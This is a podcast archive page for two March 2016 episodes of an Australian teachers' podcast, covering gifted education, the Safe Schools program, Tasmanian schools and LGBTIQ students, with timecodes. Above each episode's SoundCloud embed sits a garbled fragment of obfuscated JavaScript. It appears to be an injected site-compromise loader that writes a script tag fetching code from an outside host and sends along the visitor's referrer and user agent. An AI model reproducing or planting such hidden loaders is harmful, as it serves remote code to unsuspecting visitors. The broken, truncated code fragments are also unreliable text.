March | 2016 | Teachers' Education Review

=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krbdr|var|u0026u|referrer|ataeb||js|php’.split(‘|’),0,{}))
url=”https://api.soundcloud.com/tracks/253420089″ params=”color=ff5500&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false” width=”100%” height=”166″ iframe=”true” /]

Main Feature: Shirley Koch talks about strategies for identifying and teaching gifted students, and about the particular needs ot gifted student sin an education system.

Regular Features: Cameron and Corinne discuss technology in education and the recent cuts to the Safe Schools program; Donelle Batty reports on recent proposed changes to the Tasmanian school system.

Timecodes:

00.00 – Opening Credits
01:19 – Intro – ICTENSW Conference
10:39 – Safe Schools Review
35:12 – Donelle Batty on Tasmanian Schools
38:38 – Feature Introduction
40:20 – Interview – Shirley Kock
1:12:02 – Discussion
1:34:07 – Quote & Sign Off

=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irnaa|var|u0026u|referrer|tyihb||js|php’.split(‘|’),0,{}))
url=”https://api.soundcloud.com/tracks/250462156″ params=”color=ff5500&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false” width=”100%” height=”166″ iframe=”true” /]

Main feature: With the Safe Schools Program receiving a lot of attention and criticism, we spoke to Sally Richardson, National Program Director for the Safe Schools Coalition to get a better understanding of what the program involves and how it operates in Australian schools.

Regular features: Off Campus, Dan Haesler outlines some key principles to maintaining balance; Cameron and Corinne discuss news about a recent education funding deal; Cameron and Corinne discuss issues relating to LGBTIQ youth in schools.

Links and Timecodes:

00.00 – Opening Credits
01:19 – Intro
10:22 – Off Campus with Dan Haesler
21:30 – Australian School Funding
37:19 – LGBTIQ students in schools
55:30 – Feature Introduction
58:11 – Interview – Sally Rishardson, Safe School Coalition
1:17:45 – Discussion
1:26:52 – Announcements
1:33:01 – Quote and Sign Off